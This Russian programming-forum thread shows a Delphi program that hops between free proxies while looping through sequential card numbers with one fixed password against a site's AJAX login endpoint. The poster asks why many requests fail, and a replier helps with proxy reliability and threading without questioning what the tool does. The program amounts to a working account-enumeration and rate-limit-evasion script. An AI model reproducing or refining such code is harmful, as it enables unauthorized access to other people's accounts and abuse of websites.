Форум программистов, компьютерный форум, киберфорум
Наши страницы
Delphi: Сети
Войти
Регистрация
Восстановить пароль
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
1

Потоки, ошибки при POST запросах

17.09.2014, 16:08. Просмотров 765. Ответов 15
Метки нет (Все метки)

Почти половина запросов к сайту получаються с ошибками, такими как "Connect timed out."; "HTTP/1.0 403 Forbidden"; "HTTP/1.0 404 Not Found"; "IOHandler value is not valid"; "Socket Error # 10061"; "Socket Error # 10053".
Как это можно исправить?

Кликните здесь для просмотра всего текста

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
unit Unit1;
 
interface
 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, SyncObjs, ExtCtrls,
  IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL;
 
type
  TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    Memo1: TMemo;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Edit1: TEdit;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Edit2: TEdit;
    Memo2: TMemo;
    IdHTTP1: TIdHTTP;
    editproxykey: TEdit;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
 
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
 
  TNewThread = class (TThread)
    private
      proxy, httpAnswer : string;
      currentProxyNum, currentCard: integer;
    protected
      procedure execute;  override;
    public
      procedure Sync;
      constructor Create (createsuspended: Boolean);
  end;
 
var
  Form1: TForm1;
  proxyarray: array[0..500] of string;
  proxycount, nextCard: integer;
  work: boolean;
 
implementation
 
{$R *.dfm}
 
constructor TNewThread.Create(createsuspended: Boolean);
 begin
   inherited Create(createsuspended);
 end;
 
procedure TForm1.Button1Click(Sender: TObject);
  var http: TIdHTTP;
      proxylist,proxykey: string;
      send: TStringList;
      j: integer;
  begin
      proxykey:=form1.editproxykey.Text;
 
      HTTP:= TIdHTTP.Create(nil);
      if (proxykey.Length>2) then
      begin
        proxykey:=trim(proxykey);
        send := TStringList.Create;
        send.add('c='+proxykey);
        HTTP.HandleRedirects := True;
        HTTP.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
        HTTP.Post('http://hideme.ru/login',send);
      end;
      proxylist:=HTTP.get('http://hideme.ru/api/proxylist.txt?country=ALBGHRCZDKFRGEDEHUIRIQIEILITKZLVLTMDMNNLPLRORURS&type=hs&out=plain&lang=ru');
      memo1.Lines.Add(proxylist);
      proxycount:=memo1.Lines.count;
      for j := 0 to proxycount do
        proxyarray[j]:=memo1.Lines[j];
  end;
 
procedure deleteFromProxyArray(h: integer);
var j: integer;
begin
  for j := h to proxycount do
    proxyarray[j]:=proxyarray[j+1];
  dec(proxycount);
 
end;
 
procedure TForm1.Button2Click(Sender: TObject);
var j: integer;
begin
  memo1.Lines.loadfromfile('C:\Users\xrtd\Desktop\proxy.txt');
  proxycount:=memo1.Lines.count;
  for j := 0 to proxycount do
    proxyarray[j]:=memo1.Lines[j];
end;
 
procedure TForm1.Button3Click(Sender: TObject);
var j: integer;
begin
  for j := 0 to proxycount do
    memo1.Lines[j]:=proxyarray[j];
  Memo1.Lines.SaveToFile('C:\Users\xrtd\Desktop\proxy.txt');
end;
 
 
procedure TForm1.Button6Click(Sender: TObject);
begin
  work:=true;
  nextCard:=StrToInt(Trim(Edit2.Text));
  TNewThread.Create(false);
  //TNewThread.Create(false);
end;
 
procedure  TNewThread.Execute;
var data: TStringList;
    HTTP: TIdHTTP;
  begin
        while work do
          begin
 
            currentProxyNum:=1 + Random(proxyCount);
            proxy:=proxyarray[currentProxyNum];
 
            currentCard:=nextCard;
            dec(nextCard);
            if (nextCard<10) then work:=false;
 
 
            data:=TStringList.Create;
            data.Add('card='+IntToStr(currentCard));
            data.Add('pass=7054568');   //7054568
            data.Add('save_me=0');
 
            httpAnswer:='no answer';
 
            HTTP:=TIdHTTP.Create(nil);
            HTTP.ProxyParams.ProxyServer:=Copy(proxy,1 ,Pos(':',proxy)-1);
            HTTP.ProxyParams.ProxyPort:=StrToInt(Copy(proxy,Pos(':',proxy)+1,Length(proxy)));
 
            HTTP.ConnectTimeout:=3000;
            HTTP.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
            HTTP.HandleRedirects:=True;
 
            try
              httpAnswer:=HTTP.POST('http://site.name/catalog/ajax_login/',data);
            except on e:Exception do
              httpAnswer:=E.Message;
            end;
 
 
 
            data.Free;
            http.Free;
 
            Synchronize(Sync);
            //sleep(10000);
            //work:=false;
          end;
 
  end;
 
 
procedure TNewThread.Sync;
  begin
    form1.memo2.Lines.Add(httpAnswer);
  end;
 
 
end.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
17.09.2014, 16:08
Ответы с готовыми решениями:

Как обработать и не показывать ошибки при POST GET запросах?
Здравствуйте гуру. Проблема такая: есть программа которая заходит на сайт...

При ошибки POST запроса ответ пустой
Всем привет! Ребят делаю POST запрос если все правильно получаю в Memo1 JSON...

Парсинг токена при post запросе
Парсинг токена при post запросе вот собственно часть кода: implementation ...

Ошибка при отправке post запроса idhttp
help!!!отправляю запрос авторизации в базу данных. ругается на строчку: ...

HTTP/1.1 403 Forbidden при post-запросе
Delphi 10.2.2 в Request idhttp1 вроде указал всё, что в снифере передает....

15
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 16:45 2
А никто и не обещал что халявные прокси-серверы, ссылки на которые ты получаешь из proxylist.txt, обязаны быть живыми)
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 18:05  [ТС] 3
Т.е. вся соль может быть в прокси?
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 18:14 4
в первую очередь - да
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 18:37  [ТС] 5
А есть какие-то сервисы с нормальными прокси? И вообще какие прокси надежнее?
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 20:42 6
Цитата Сообщение от xrtdbear Посмотреть сообщение
вообще какие прокси надежнее?
Те за пользование которыми ты платишь)
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 20:49  [ТС] 7
hide.me вроде как платный
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 20:53 8
Цитата Сообщение от xrtdbear Посмотреть сообщение
while work do
Укажи хотя бы одну причину, по которой в цикле фигурирует глоб.переменная Work и не фигурирует св-во Terminated)

Добавлено через 2 минуты
Цитата Сообщение от xrtdbear Посмотреть сообщение
hide.me вроде как платный
Хз платный он или не платный, но то что пользовать ты пытаешься другой сервис - hideme.ru - это факт).. И вряд ли экспериментируешь ты с ним за свои кровные)
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 21:10  [ТС] 9
Так terminated это конец потока, а суть work - цикл до "безконечности".
А по поводу hide.me - это я случайно написал вместо hideme.ru. Попробую поискать именно платные проки, а то для хайдми.ру ключи шаровые использовал
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 21:13 10
Цитата Сообщение от xrtdbear Посмотреть сообщение
terminated это конец потока
Где ты такой травы накурился ?)

Цитата Сообщение от xrtdbear Посмотреть сообщение
work - цикл до "безконечности"
Чудесно.
А почему переменная ? И почему глобальная ?
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 21:17  [ТС] 11
Гугл травы подкинул
Ну так чтобы все потоки остановить разом
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 21:30 12
Цитата Сообщение от xrtdbear Посмотреть сообщение
Гугл травы подкинул
А в Гугл ее накидала школота)

Цитата Сообщение от xrtdbear Посмотреть сообщение
чтобы все потоки остановить разом
А нафига тебе куча потоков ?)
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
17.09.2014, 21:38  [ТС] 13
чтобы резвее запросы шли
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
17.09.2014, 21:47 14
Цитата Сообщение от xrtdbear Посмотреть сообщение
чтобы резвее запросы шли
С чего бы он вдруг резвее пойдут ?
Ну до тех пор, пока число потоков не превысит кол-во процессоров/ядер, они возможно (и то не факт) и чуть "резвее" пойдут, но у тебя же нет контроля за соответствием кол-ва потоков кол-ву процессоров/ядер и нет контроля за thread affinity)
0
xrtdbear
0 / 0 / 0
Регистрация: 23.10.2013
Сообщений: 9
18.09.2014, 20:57  [ТС] 15
А можно посмотреть качественные ссылки по поводу thread affinity?
0
mss
2633 / 2258 / 275
Регистрация: 24.12.2010
Сообщений: 13,725
18.09.2014, 21:12 16
Привязка потоков к процессорам
0
18.09.2014, 21:12
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
18.09.2014, 21:12

Ошибка: Could not load SSL library при POST запросе
Отсылаю POST запрос по защищенному соединению с помощью indy, объясняю почему...

Synapse, не возвращается location при post-запросе на https
Делаю пост запрос с synapce на https сайта результат такой: HTTP/1.1 200 OK...

При Post-запросе нужно отловить строку из Response Content
Может есть такая тема но я не нашёл подходящей. Начали изучать делфи. ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
16
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru